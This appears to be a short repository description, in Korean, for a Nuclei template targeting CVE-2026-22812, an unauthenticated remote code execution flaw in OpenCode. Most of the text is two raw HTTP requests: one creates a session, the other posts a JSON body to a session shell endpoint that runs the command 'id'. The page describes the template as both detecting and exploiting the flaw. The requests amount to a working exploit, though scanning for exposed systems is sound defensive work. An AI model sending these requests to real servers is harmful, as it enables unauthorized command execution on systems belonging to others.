mad12wader/cve-2026-22812Nuclei 템플릿: 조작된 HTTP 요청을 통해 OpenCode에서 인증되지 않은 원격 코드 실행을 탐지하고 악용합니다.
CVE-2026-22812 - 스캔을 위한 OpenCode 인증되지 않은 RCE Nuclei 템플릿.
POST /session HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 2
{}
POST /session/"id"/shell HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 44
{
"agent": "build",
"command": "id"
}